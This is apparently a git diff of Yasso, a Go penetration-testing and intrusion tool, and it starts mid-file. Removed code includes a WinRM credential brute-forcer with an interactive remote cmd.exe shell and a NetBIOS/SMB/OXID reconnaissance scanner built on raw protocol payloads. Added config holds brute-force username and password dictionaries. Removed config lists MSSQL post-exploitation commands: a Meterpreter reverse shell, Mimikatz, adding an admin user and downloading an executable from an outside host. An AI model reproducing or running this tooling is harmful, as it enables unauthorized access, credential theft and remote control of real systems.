TimeDuration, - }) - } - wg.Done() - }) - - for _, ip := range ips { - if strings.Contains(ip, ":") && !strings.Contains(ip, ":445") { - continue - } - wg.Add(1) - _ = p.Invoke(ip) - } - wg.Wait() -} diff --git a/cmd/winrm.go b/cmd/winrm.go deleted file mode 100644 index 9fa790e..0000000 --- a/cmd/winrm.go +++ /dev/null @@ -1,116 +0,0 @@ -package cmd - -import ( - "Yasso/config" - "fmt" - "github.com/masterzen/winrm" - "github.com/spf13/cobra" - "io" - "net" - "os" -) - -var WinRMCmd = &cobra.Command{ - Use: "winrm", - Short: "winrm burst and extend tools (support proxy)", - Run: func(cmd *cobra.Command, args []string) { - if Hosts == "" && ConnHost == "" { - _ = cmd.Help() - } else { - WinBurpByUser() - } - }, -} - -func init() { - WinRMCmd.Flags().StringVar(&ConnHost, "hostname", "", "Open an interactive SSH at that address(brute param need false)") - WinRMCmd.Flags().StringVar(&LoginUser, "user", "", "Login ssh username") - WinRMCmd.Flags().StringVar(&LoginPass, "pass", "", "Login ssh password") - WinRMCmd.Flags().BoolVar(&WinRMbool, "shell", false, "Get a cmd shell with WinRM") - WinRMCmd.Flags().StringVarP(&SQLCommand, "cmd", "c", "", "Execute system command") -} - -func WinBurpByUser() { - if BrutePort == 0 { - BrutePort = 5985 - } - var ips []string - var err error - if Hosts != "" { - ips, err = ResolveIPS(Hosts) - if err != nil { - Println(fmt.Sprintf("resolve hosts address failed %v", err)) - return - } - if BruteFlag == true { - users, pass := ReadTextToDic("rdp", UserDic, PassDic) // winrm 和 rdp认证相同 - Println("[*] Brute Module [winrm]") - Println(fmt.Sprintf("[*] Have [user:%v] [pass:%v] [request:%v]", len(users), len(pass), len(users)*len(pass)*len(ips))) - SwitchBurp("winrm", users, pass, ips, BrutePort, Runtime, TimeDuration, "") - } else { - Println("[*] May be you want to brute? try to add --crack") - } - } - if Hosts == "" && ConnHost != "" && LoginUser != "" && LoginPass != "" { - auth, b, err := WinRMAuth(config.HostIn{Host: ConnHost, Port: BrutePort, TimeOut: TimeDuration}, LoginUser, LoginPass) - if err != nil { - Println(fmt.Sprintf("[!] WinRM Auth Failed %v", err)) - return - } - if SQLCommand != "" && b == true { - WinRMShell(auth, SQLCommand, false) - } - if WinRMbool == true && b == true { - WinRMShell(auth, "", true) - } - } -} - -func WinRMAuth(info config.HostIn, user, pass string) (*winrm.Client, bool, error) { - var err error - params := winrm.DefaultParameters - // 设置代理认证 - params.Dial = func(network, addr string) (net.Conn, error) { - return GetConn(fmt.Sprintf("%s:%v", info.Host, info.Port), info.TimeOut) - } - // 设置输入 - endpoint := winrm.NewEndpoint("other-host", 5985, false, false, nil, nil, nil, 0) - client, err := winrm.NewClientWithParameters(endpoint, user, pass, params) - stdout := os.Stdout - res, err := client.Run("echo ISOK > nul", stdout, os.Stderr) - if err != nil { - return nil, false, err - } - if res == 0 && err == nil { - return client, true, nil - } - return nil, false, err -} - -func WinRMShell(client *winrm.Client, Command string, shell bool) { - if shell == true { - shell, err := client.CreateShell() - if err != nil { - Println(fmt.Sprintf("[!] create shell failed %v", err)) - return - } - var cmd *winrm.Command - cmd, err = shell.Execute("cmd.exe") - if err != nil { - Println(fmt.Sprintf("[!] create shell failed %v", err)) - return - } - - go io.Copy(cmd.Stdin, os.Stdin) - go io.Copy(os.Stdout, cmd.Stdout) - go io.Copy(os.Stderr, cmd.Stderr) - cmd.Wait() - shell.Close() - } else { - _, err := client.Run(Command, os.Stdout, os.Stderr) - if err != nil { - Println(fmt.Sprintf("[!] Execute Command failed %v", err)) - return - } - } -} diff --git a/cmd/winscan.go b/cmd/winscan.go deleted file mode 100644 index e6d9824..0000000 --- a/cmd/winscan.go +++ /dev/null @@ -1,552 +0,0 @@ -package cmd - -import ( - "bytes" - "fmt" - "github.com/spf13/cobra" - "net" - "strconv" - "strings" - "sync" - "time" -) - -var netbiosflag bool -var smbflag bool -var oxidflag bool -var allflag bool - -var WinCmd = &cobra.Command{ - Use: "winscan", - Short: "netbios、smb、oxid scan", - Run: func(cmd *cobra.Command, args []string) { - var ips []string - if Hosts == "" { - _ = cmd.Help() - return - } - if Hosts != "" { - ips, _ = ResolveIPS(Hosts) // resolve ip to []string ips - } else { - Println("Yasso scanner need a hosts") - return - } - Println(fmt.Sprintf("[Yasso] will scan %d host", len(ips))) - winscan(ips, allflag) - }, -} - -func init() { - rootCmd.AddCommand(WinCmd) - WinCmd.Flags().BoolVar(&smbflag, "smb", false, "Set smb flag and use smb scan") - WinCmd.Flags().BoolVar(&netbiosflag, "netbios", false, "Set netbios flag and use netbios scan") - WinCmd.Flags().BoolVar(&oxidflag, "oxid", false, "Set oxid flag and use oxid scan") - WinCmd.Flags().BoolVar(&allflag, "all", true, "Set all flag and use oxid,netbios,smb scan") - WinCmd.Flags().StringVarP(&Hosts, "hosts", "H", "", "Set `hosts`(The format is similar to Nmap) or ips.txt file path") - WinCmd.Flags().DurationVar(&TimeDuration, "time", 1*time.Second, "Set net conn timeout") - WinCmd.Flags().StringVar(&ProxyHost, "proxy", "", "Set socks5 proxy and use it") -} - -func winscan(host []string, allay bool) { - if netbiosflag == true { - NbtScan(host) - } else if smbflag == true { - SmbScan(host) - } else if oxidflag == true { - OxidScan(host) - } else if allay == true { - runall(host) - } else { - Println("[*] Your need set netbios、smb、oxid flag") - } -} - -var oxidQuery1 = [...]byte{ - 0x05, 0x00, 0x0b, 0x03, 0x10, 0x00, 0x00, 0x00, 0x48, 0x00, - 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0xb8, 0x10, 0xb8, 0x10, - 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x01, 0x00, 0xc4, 0xfe, 0xfc, 0x99, 0x60, 0x52, 0x1b, 0x10, - 0xbb, 0xcb, 0x00, 0xaa, 0x00, 0x21, 0x34, 0x7a, 0x00, 0x00, - 0x00, 0x00, 0x04, 0x5d, 0x88, 0x8a, 0xeb, 0x1c, 0xc9, 0x11, - 0x9f, 0xe8, 0x08, 0x00, 0x2b, 0x10, 0x48, 0x60, 0x02, 0x00, - 0x00, 0x00, -} - -var oxidQuery2 = [...]byte{ - 0x05, 0x00, 0x00, 0x03, 0x10, 0x00, 0x00, 0x00, 0x18, 0x00, - 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x05, 0x00, -} - -func ConncetNbios(ip string, port int) (string, int, error, []string) { - nbname, err := netBios(ip) - if nbname.msg != "" { - return ip, port, nil, []string{nbname.msg} - } - return ip, port, err, nil -} - -var smbQuery = [...]byte{ - 0x00, 0x00, 0x00, 0xa4, 0xff, 0x53, 0x4d, 0x42, 0x72, 0x00, 0x00, 0x00, 0x00, 0x08, 0x01, 0x40, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x06, - 0x00, 0x00, 0x01, 0x00, 0x00, 0x81, 0x00, 0x02, 0x50, 0x43, 0x20, 0x4e, 0x45, 0x54, 0x57, 0x4f, - 0x52, 0x4b, 0x20, 0x50, 0x52, 0x4f, 0x47, 0x52, 0x41, 0x4d, 0x20, 0x31, 0x2e, 0x30, 0x00, 0x02, - 0x4d, 0x49, 0x43, 0x52, 0x4f, 0x53, 0x4f, 0x46, 0x54, 0x20, 0x4e, 0x45, 0x54, 0x57, 0x4f, 0x52, - 0x4b, 0x53, 0x20, 0x31, 0x2e, 0x30, 0x33, 0x00, 0x02, 0x4d, 0x49, 0x43, 0x52, 0x4f, 0x53, 0x4f, - 0x46, 0x54, 0x20, 0x4e, 0x45, 0x54, 0x57, 0x4f, 0x52, 0x4b, 0x53, 0x20, 0x33, 0x2e, 0x30, 0x00, - 0x02, 0x4c, 0x41, 0x4e, 0x4d, 0x41, 0x4e, 0x31, 0x2e, 0x30, 0x00, 0x02, 0x4c, 0x4d, 0x31, 0x2e, - 0x32, 0x58, 0x30, 0x30, 0x32, 0x00, 0x02, 0x53, 0x61, 0x6d, 0x62, 0x61, 0x00, 0x02, 0x4e, 0x54, - 0x20, 0x4c, 0x41, 0x4e, 0x4d, 0x41, 0x4e, 0x20, 0x31, 0x2e, 0x30, 0x00, 0x02, 0x4e, 0x54, 0x20, - 0x4c, 0x4d, 0x20, 0x30, 0x2e, 0x31, 0x32, 0x00, -} - -var ( - UNIQUE_NAMES = map[string]string{ - "\x00": "Workstation Service", - "\x03": "Messenger Service", - "\x06": "RAS Server Service", - "\x1F": "NetDDE Service", - "\x20": "Server Service", - "\x21": "RAS Client Service", - "\xBE": "Network Monitor Agent", - "\xBF": "Network Monitor Application", - "\x1D": "Master Browser", - "\x1B": "Domain Master Browser", - } - - GROUP_NAMES = map[string]string{ - "\x00": "Domain Name", - "\x1C": "Domain Controllers", - "\x1E": "Browser Service Elections", - } - - NetBIOS_ITEM_TYPE = map[string]string{ - "\x01\x00": "NetBIOS computer name", - "\x02\x00": "NetBIOS domain name", - "\x03\x00": "DNS computer name", - "\x04\x00": "DNS domain name", - "\x05\x00": "DNS tree name", - "\x07\x00": "Time stamp", - } -) - -type NbnsName struct { - unique string - group string - msg string - osversion string -} - -func netBios(host string) (nbname NbnsName, err error) { - nbname, err = getNbnsname(host) - var payload0 []byte - if err == nil { - name := netbiosEncode(nbname.unique) - payload0 = append(payload0, []byte("\x81\x00\x00D ")...) - payload0 = append(payload0, name...) - payload0 = append(payload0, []byte("\x00 EOENEBFACACACACACACACACACACACACA\x00")...) - } - realhost := fmt.Sprintf("%s:%v", host, 139) - conn, err := GetConn(realhost, TimeDuration) - defer func() { - if conn != nil { - conn.Close() - } - }() - if err != nil { - return - } - err = conn.SetDeadline(time.Now().Add(TimeDuration)) - if err != nil { - return - } - - if len(payload0) > 0 { - _, err1 := conn.Write(payload0) - if err1 != nil { - return - } - _, err1 = readbytes(conn) - if err1 != nil { - return - } - } - - payload1 := []byte("\x00\x00\x00\x85\xff\x53\x4d\x42\x72\x00\x00\x00\x00\x18\x53\xc8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xfe\x00\x00\x00\x00\x00\x62\x00\x02\x50\x43\x20\x4e\x45\x54\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c\x4d\x20\x30\x2e\x31\x32\x00") - payload2 := []byte("\x00\x00\x01\x0a\xff\x53\x4d\x42\x73\x00\x00\x00\x00\x18\x07\xc8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xfe\x00\x00\x40\x00\x0c\xff\x00\x0a\x01\x04\x41\x32\x00\x00\x00\x00\x00\x00\x00\x4a\x00\x00\x00\x00\x00\xd4\x00\x00\xa0\xcf\x00\x60\x48\x06\x06\x2b\x06\x01\x05\x05\x02\xa0\x3e\x30\x3c\xa0\x0e\x30\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a\xa2\x2a\x04\x28\x4e\x54\x4c\x4d\x53\x53\x50\x00\x01\x00\x00\x00\x07\x82\x08\xa2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x02\xce\x0e\x00\x00\x00\x0f\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x53\x00\x65\x00\x72\x00\x76\x00\x65\x00\x72\x00\x20\x00\x32\x00\x30\x00\x30\x00\x33\x00\x20\x00\x33\x00\x37\x00\x39\x00\x30\x00\x20\x00\x53\x00\x65\x00\x72\x00\x76\x00\x69\x00\x63\x00\x65\x00\x20\x00\x50\x00\x61\x00\x63\x00\x6b\x00\x20\x00\x32\x00\x00\x00\x00\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x53\x00\x65\x00\x72\x00\x76\x00\x65\x00\x72\x00\x20\x00\x32\x00\x30\x00\x30\x00\x33\x00\x20\x00\x35\x00\x2e\x00\x32\x00\x00\x00\x00\x00") - _, err = conn.Write(payload1) - if err != nil { - return - } - _, err = readbytes(conn) - if err != nil { - return - } - - _, err = conn.Write(payload2) - if err != nil { - return - } - ret, err := readbytes(conn) - if err != nil || len(ret) < 45 { - return - } - - num1, err := bytetoint(ret[43:44][0]) - if err != nil { - return - } - num2, err := bytetoint(ret[44:45][0]) - if err != nil { - return - } - length := num1 + num2*256 - if len(ret) < 48+length { - return - } - os_version := ret[47+length:] - tmp1 := bytes.ReplaceAll(os_version, []byte{0x00, 0x00}, []byte{124}) - tmp1 = bytes.ReplaceAll(tmp1, []byte{0x00}, []byte{}) - msg1 := string(tmp1[:len(tmp1)-1]) - nbname.osversion = msg1 - index1 := strings.Index(msg1, "|") - if index1 > 0 { - nbname.osversion = nbname.osversion[:index1] - } - nbname.msg += "\n\t-------------------------------------------\n\t" - nbname.msg += msg1 + "\n\t" - start := bytes.Index(ret, []byte("NTLMSSP")) - if len(ret) < start+45 { - return - } - num1, err = bytetoint(ret[start+40 : start+41][0]) - if err != nil { - return - } - num2, err = bytetoint(ret[start+41 : start+42][0]) - if err != nil { - return - } - length = num1 + num2*256 - num1, err = bytetoint(ret[start+44 : start+45][0]) - if err != nil { - return - } - offset, err := bytetoint(ret[start+44 : start+45][0]) - if err != nil || len(ret) < start+offset+length { - return - } - index := start + offset - for index < start+offset+length { - item_type := ret[index : index+2] - num1, err = bytetoint(ret[index+2 : index+3][0]) - if err != nil { - return - } - num2, err = bytetoint(ret[index+3 : index+4][0]) - if err != nil { - return - } - item_length := num1 + num2*256 - item_content := bytes.ReplaceAll(ret[index+4:index+4+item_length], []byte{0x00}, []byte{}) - index += 4 + item_length - if string(item_type) == "\x07\x00" { - //Time stamp, 暂时不想处理 - } else if NetBIOS_ITEM_TYPE[string(item_type)] != "" { - nbname.msg += fmt.Sprintf("%-22s: %s\n\t", NetBIOS_ITEM_TYPE[string(item_type)], string(item_content)) - } else if string(item_type) == "\x00\x00" { - break - } else { - nbname.msg += fmt.Sprintf("Unknown: %s\n\t", string(item_content)) - } - } - nbname.msg = strings.TrimSpace(nbname.msg) - return nbname, err -} - -func getNbnsname(host string) (nbname NbnsName, err error) { - senddata1 := []byte{102, 102, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 32, 67, 75, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 0, 0, 33, 0, 1} - realhost := fmt.Sprintf("%s:%v", host, 137) - conn, err := net.DialTimeout("udp", realhost, TimeDuration) - defer func() { - if conn != nil { - conn.Close() - } - }() - if err != nil { - return - } - err = conn.SetDeadline(time.Now().Add(TimeDuration)) - if err != nil { - return - } - _, err = conn.Write(senddata1) - if err != nil { - return - } - text, err := readbytes(conn) - if err != nil { - return - } - if len(text) < 57 { - return nbname, fmt.Errorf("no names available") - } - num, err := bytetoint(text[56:57][0]) - if err != nil { - return - } - data := text[57:] - msg := "" - for i := 0; i < num; i++ { - if len(data) < 18*i+16 { - break - } - name := string(data[18*i : 18*i+15]) - flag_bit := data[18*i+15 : 18*i+16] - if GROUP_NAMES[string(flag_bit)] != "" && string(flag_bit) != "\x00" { - msg += fmt.Sprintf("%s G %s\n\t", name, GROUP_NAMES[string(flag_bit)]) - } else if UNIQUE_NAMES[string(flag_bit)] != "" && string(flag_bit) != "\x00" { - msg += fmt.Sprintf("%s U %s\n\t", name, UNIQUE_NAMES[string(flag_bit)]) - } else if string(flag_bit) == "\x00" || len(data) >= 18*i+18 { - name_flags := data[18*i+16 : 18*i+18][0] - if name_flags >= 128 { - nbname.group = strings.Replace(name, " ", "", -1) - msg += fmt.Sprintf("%s G %s\n\t", name, GROUP_NAMES[string(flag_bit)]) - } else { - nbname.unique = strings.Replace(name, " ", "", -1) - msg += fmt.Sprintf("%s U %s\n\t", name, UNIQUE_NAMES[string(flag_bit)]) - } - } else { - msg += fmt.Sprintf("%s \n\t", name) - } - } - nbname.msg += msg - nbname.msg = strings.TrimSpace(nbname.msg) - return -} - -func bytetoint(text byte) (int, error) { - num1 := fmt.Sprintf("%v", text) - num, err := strconv.Atoi(num1) - return num, err -} - -func readbytes(conn net.Conn) (result []byte, err error) { - buf := make([]byte, 4096) - for { - count, err := conn.Read(buf) - if err != nil { - break - } - result = append(result, buf[0:count]...) - if count < 4096 { - break - } - } - return result, err -} - -func netbiosEncode(name string) (output []byte) { - var names []int - src := fmt.Sprintf("%-16s", name) - for _, a := range src { - char_ord := int(a) - high_4_bits := char_ord >> 4 - low_4_bits := char_ord & 0x0f - names = append(names, high_4_bits, low_4_bits) - } - for _, one := range names { - out := one + 0x41 - output = append(output, byte(out)) - } - return -} - -func Connectoxid(ip string, port int) (string, int, error, []string) { - conn, err := GetConn(fmt.Sprintf("%v:%v", ip, port), TimeDuration) - if err != nil { - return ip, port, err, nil - } - defer conn.Close() - err, oxidres := oxidIpInfo(conn) - if err != nil { - return ip, port, err, nil - } else { - return ip, port, nil, oxidres - } -} - -func oxidIpInfo(conn net.Conn) (error, []string) { - - buf := make([]byte, 256) - _, err := conn.Write(oxidQuery1[:]) - if err != nil { - return err, nil - } - _, err = conn.Read(buf) - if err != nil { - return err, nil - } - _, err = conn.Write(oxidQuery2[:]) - if err != nil { - return err, nil - } - _, err = conn.Read(buf) - if err != nil { - return err, nil - } - end := bytes.Index(buf, []byte{0x00, 0x00, 0x09, 0x00, 0xff, 0xff, 0x00, 0x00}) - if len(buf) < 40 || end == -1 { - return fmt.Errorf(""), nil - } - buf = buf[40:end] - var oxidRes []string - for i := bytes.Index(buf, []byte{0x00, 0x00, 0x00}); i != -1; { - res := buf[1:i] - res = bytes.Replace(res, []byte{0x00}, []byte(""), -1) - oxidRes = append(oxidRes, string(res)) - buf = buf[i+3:] - i = bytes.Index(buf, []byte{0x00, 0x00, 0x00}) - } - return nil, oxidRes -} - -func smbinfo(conn net.Conn) (error, []string) { - buf := make([]byte, 1024) - _, err := conn.Write(smbQuery[:]) - if err != nil { - return err, nil - } - _, err = conn.Read(buf) - if err != nil { - return err, nil - } - if len(buf) < 81 { - return fmt.Errorf(""), nil - } - buf = buf[81:] - end := bytes.Index(buf, []byte{0x00, 0x00, 0x00}) - var smbRes []string - domain := buf[:end] - hostname := buf[end:] - domain = bytes.Replace(domain, []byte{0x00}, []byte(""), -1) - hostname = bytes.Replace(hostname, []byte{0x00}, []byte(""), -1) - smbRes = append(smbRes, "domain: "+string(domain)) - smbRes = append(smbRes, "hostname: "+string(hostname)) - return nil, smbRes -} - -func Connectsmb(ip string, port int) (string, int, error, []string) { - conn, err := GetConn(fmt.Sprintf("%v:%v", ip, port), TimeDuration) - if err != nil { - return ip, port, err, nil - } - defer conn.Close() - ok, smbRes := smbinfo(conn) - if ok == nil { - return ip, port, nil, smbRes - } else { - return ip, port, ok, nil - } -} - -func OxidScan(host []string) { - //result := PortScan(host,[]int{135}) - var wg sync.WaitGroup - for _, v := range host { - wg.Add(1) - go func(v string) { - defer wg.Done() - _, _, err, r := Connectoxid(v, 135) - if err != nil { - return - } - if len(r) >= 2 { - Println(fmt.Sprintf("[OXID] Hostname %v Network %v", r[0], r[1:])) - } else { - Println(fmt.Sprintf("[OXID] %v", r)) - } - }(v) - } - wg.Wait() -} - -func SmbScan(host []string) { - var wg sync.WaitGroup - for _, v := range host { - wg.Add(1) - go func(v string) { - defer wg.Done() - ip, _, err, r := Connectsmb(v, 445) - if err != nil { - return - } - if len(r) >= 2 { - Println(fmt.Sprintf("[SMB] IP %s %v", ip, r)) - } - }(v) - } - wg.Wait() -} - -func NbtScan(host []string) { - var wg sync.WaitGroup - for _, v := range host { - wg.Add(1) - go func(v string) { - defer wg.Done() - _, _, err, r := ConncetNbios(v, 139) - if err != nil { - return - } - for _, s := range r { - Println(fmt.Sprintf("[+] %v", v)) - Println(fmt.Sprintf("\t%v", s)) - } - - }(v) - } - wg.Wait() -} - -func runall(host []string) { - var wg sync.WaitGroup - for _, v := range host { - wg.Add(1) - go func(v string) { - defer wg.Done() - func(v string) { - _, _, err, r := ConncetNbios(v, 139) - if err != nil { - return - } - for _, s := range r { - Println(fmt.Sprintf("[NBTBIOS] %v", v)) - Println(fmt.Sprintf("\t%v", s)) - } - }(v) - func(v string) { - ip, _, err, r := Connectsmb(v, 445) - if err != nil { - return - } - if len(r) >= 2 { - Println(fmt.Sprintf("[SMB] IP %s %v", ip, r)) - } - }(v) - func(v string) { - _, _, err, r := Connectoxid(v, 135) - if err != nil { - return - } - if len(r) >= 2 { - Println(fmt.Sprintf("[OXID] Hostname %v Network %v", r[0], r[1:])) - } else { - Println(fmt.Sprintf("[OXID] %v", r)) - } - }(v) - - }(v) - } - wg.Wait() -} diff --git a/config/banner/banner.go b/config/banner/banner.go new file mode 100644 index 0000000..436e74d --- /dev/null +++ b/config/banner/banner.go @@ -0,0 +1,16 @@ +package banner + +import ( + "fmt" +) + +func Banner() { + fmt.Println("_____.___. ____ ___\n\\__ | |____ ______ __________\\ \\/ /\n / | \\__ \\ / ___// ___/ _ \\\\ / \n \\____ |/ __ \\_\\___ \\ \\___ ( <_> ) \\ \n / ______(____ /____ >____ >____/___/\\ \\\n \\/ \\/ \\/ \\/ \\_/") + fmt.Println() + fmt.Println("Refactoring version: Yasso v0.1.6") + fmt.Println("法律免责声明:") + fmt.Println("本工具仅面向合法授权的企业安全建设行为,如果需要测试本工具的可用性,请自行搭建靶场检测") + fmt.Println("在使用本工具时,请确保你的操作符合当地的法律法规,并且获取到足够的授权,请勿对非授权目标使用") + fmt.Println("使用本工具造成的非法行为,你需要自行承担后果,我们不受任何的法律及其连带责任,如果使用本工具,则视为接受本协议") + fmt.Println("Github: github.com/sairson/Yasso") +} diff --git a/config/config.go b/config/config.go index dc65e32..5c3ef69 100644 --- a/config/config.go +++ b/config/config.go @@ -1,77 +1,50 @@ package config -import ( - "time" -) +import "time" -// about login struct - -type HostIn struct { - Host string +// ServiceConn service 连接所需要的结构体 +type ServiceConn struct { + Hostname string Port int Domain string - TimeOut time.Duration + Timeout time.Duration PublicKey string } -// 爆破的默认用户名 - -var Userdict = map[string][]string{ +var UserDict = map[string][]string{ "ftp": {"kali", "ftp", "admin", "www", "web", "root", "db", "wwwroot", "data"}, "mysql": {"root", "mysql"}, "mssql": {"sa", "sql"}, "smb": {"administrator", "admin", "guest"}, "rdp": {"administrator", "admin", "guest", "Oadmin"}, + "winrm": {"administrator", "admin", "guest"}, "postgres": {"postgres", "admin"}, "ssh": {"root", "admin", "kali", "oracle", "www"}, "mongodb": {"root", "admin"}, "redis": {"root"}, } -// 爆破的默认密码 +var PassDict = []string{"123456", "admin", "admin123", "12312", "pass123", "pass@123", "11", "password", "123123", "654321", "111111", "123", "1", "admin@123", "Admin@123", "admin123!@#", "{user}", "{user}1", "{user}111", "{user}123", "{user}@123", "{user}_123", "{user}#123", "{user}@111", "{user}@2019", "{user}@123#4", "P@ssw0rd!", "P@ssw0rd", "Passw0rd", "qwe123", "12345678", "test", "test123", "123qwe!@#", "123456789", "123321", "666666", "a123456.", "123456~a", "123456!a", "000000", "1234567890", "8888888", "!QAZ2wsx", "1qaz2wsx", "abc123", "abc123456", "1qaz@WSX", "a11111", "a12345", "Aa1234", "Aa1234.", "Aa12345", "a123456", "a123123", "Aa123123", "Aa123456", "Aa12345.", "sysadmin", "system", "1qaz!QAZ", "2wsx@WSX", "qwe123!@#", "Aa123456!", "A123456s!", "sa123456", "1q2w3e", "kali"} -var Passwords = []string{"123456", "admin", "admin123", "root", "12312", "pass123", "pass@123", "930517", "password", "123123", "654321", "111111", "123", "1", "admin@123", "Admin@123", "admin123!@#", "{user}", "{user}1", "{user}111", "{user}123", "{user}@123", "{user}_123", "{user}#123", "{user}@111", "{user}@2019", "{user}@123#4", "P@ssw0rd!", "P@ssw0rd", "Passw0rd", "qwe123", "12345678", "test", "test123", "123qwe!@#", "123456789", "123321", "666666", "a123456.", "123456~a", "123456!a", "000000", "1234567890", "8888888", "!QAZ2wsx", "1qaz2wsx", "abc123", "abc123456", "1qaz@WSX", "a11111", "a12345", "Aa1234", "Aa1234.", "Aa12345", "a123456", "a123123", "Aa123123", "Aa123456", "Aa12345.", "sysadmin", "system", "1qaz!QAZ", "2wsx@WSX", "qwe123!@#", "Aa123456!", "A123456s!", "sa123456", "1q2w3e", "kali"} +var DefaultScannerPort = []int{21, 22, 25, 53, 69, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 110, 135, 137, 138, 139, 143, 389, 443, 445, 554, 587, 631, 800, 801, 808, 880, 888, 1000, 1024, 1025, 1080, 1099, 1389, 1433, 1521, 2000, 2001, 2222, 2601, 3306, 3307, 3388, 3389, 3443, 5800, 5900, 6379, 7000, 7001, 7007, 7010, 7788, 8000, 8001, 8002, 8003, 8004, 8005, 8006, 8007, 8008, 8009, 8010, 8011, 8030, 8060, 8070, 8080, 8081, 8082, 8083, 8084, 8085, 8086, 8087, 8088, 8089, 8090, 8091, 8092, 8093, 8094, 8095, 8096, 8097, 8098, 8099, 8161, 8175, 8188, 8189, 8443, 8445, 8448, 8554, 8800, 8848, 8880, 8881, 8888, 8899, 8983, 8989, 9000, 9001, 9002, 9008, 9010, 9043, 9060, 9080, 9081, 9082, 9083, 9084, 9085, 9086, 9087, 9088, 9089, 9090, 9091, 9092, 9093, 9094, 9095, 9096, 9097, 9099, 9443, 9448, 9600, 9628, 9800, 9899, 9981, 9986, 9988, 9998, 9999, 11001, 13443, 15000, 20000, 33890, 45554, 49155, 49156, 50050, 61616} -var WarKitHelp = [][]string{ - {"**IF You Want SQL Command Execute**", "declare @result varchar(4000);EXEC sp_cmdExec 'ipconfig',@result output; select @result"}, - {"EXEC sp_cmdExec 'whoami'", "Any Windows command"}, - {"EXEC sp_cmdExec 'whoami /RunSystemPriv'", "Any Windows command with NT AUTHORITY\\SYSTEM rights"}, - {`EXEC sp_cmdExec '"net user eyup P@ssw0rd1 /add"`, "Adding users with RottenPotato (Kumpir)"}, - {`EXEC sp_cmdExec '"net localgroup administrators eyup /add" /RunSystemPriv'`, "Adding user to localgroup with RottenPotato (Kumpir)"}, - {`EXEC sp_cmdExec 'powershell Get-ChildItem /RunSystemPS'`, "(Powershell) with RottenPotato (Kumpir)"}, - {`EXEC sp_cmdExec 'sp_meterpreter_reverse_tcp LHOST LPORT GetSystem'`, `x86 Meterpreter Reverse Connection with NT AUTHORITY\SYSTEM`}, - {`EXEC sp_cmdExec 'sp_x64_meterpreter_reverse_tcp LHOST LPORT GetSystem`, "x64 Meterpreter Reverse Connection with NT AUTHORITY\\SYSTEM"}, - {`EXEC sp_cmdExec 'sp_meterpreter_reverse_rc4 LHOST LPORT GetSystem'`, "x86 Meterpreter Reverse Connection RC4 with NT AUTHORITY\\SYSTEM, RC4PASSWORD=warsql"}, - {`EXEC sp_cmdExec 'sp_meterpreter_bind_tcp LPORT GetSystem'`, "x86 Meterpreter Bind Connection with NT AUTHORITY\\SYSTEM"}, - {`EXEC sp_cmdExec 'sp_Mimikatz'`, `select * from WarSQLKitTemp => Get Mimikatz Log`}, - {`EXEC sp_cmdExec 'sp_downloadFile http://eyupcelik.com.tr/file.exe C:\ProgramData\file.exe 300'`, `Download File`}, - {`EXEC sp_cmdExec 'sp_getSqlHash'`, `Get MSSQL Hash`}, - {`EXEC sp_cmdExec 'sp_getProduct'`, `Get Windows Product`}, - {`EXEC sp_cmdExec 'sp_getDatabases'`, `Get Available Databases`}, +var DefaultHeader = map[string]string{ + "Accept-Language": "zh,zh-TW;q=0.9,en-US;q=0.8,en;q=0.7,zh-CN;q=0.6", + "User-agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1468.0 Safari/537.36", + "Cookie": "rememberMe=int", } -var SharpKitHelp = [][]string{ - {"EXEC ClrExec 'clr_ping ip'", "Detect whether the target is reachable"}, - {"EXEC ClrExec 'clr_cat filename'", "Viewing target file Contents"}, - {`EXEC ClrExec 'clr_ls dir'`, "Listing directory files"}, - {`EXEC ClrExec 'clr_rm filename'`, "rm traget file"}, - {`EXEC ClrExec 'clr_getav'`, "List target host kill software"}, - {`EXEC ClrExec 'clr_rdp'`, `Open the remote desktop and return to the remote desktop port`}, - {`EXEC ClrExec 'clr_efspotato whoami'`, "Calls efspotato to execute system commands"}, - {`EXEC ClrExec 'clr_badpotato whoami'`, "Calls badpotato to execute system commands"}, - {`EXEC ClrExec 'clr_netstat'`, "Listing netstat -an result"}, +type Format struct { + Host string `json:"Host,omitempty"` // 主机地址 + Port []int `json:"Port,omitempty"` + Service []*Service `json:"Service,omitempty"` + Vulnerability []string `json:"Vulnerability,omitempty"` } -var ( - // DisMapPorts TODO: dismp 默认端口号 +type Service struct { + Name string `json:"Name,omitempty"` + Information []string `json:"Information,omitempty"` + WeakPass []map[string]string `json:"WeakPass,omitempty"` // 一个服务可能有好几个口令,所以采用切片类型 +} - DisMapPorts = 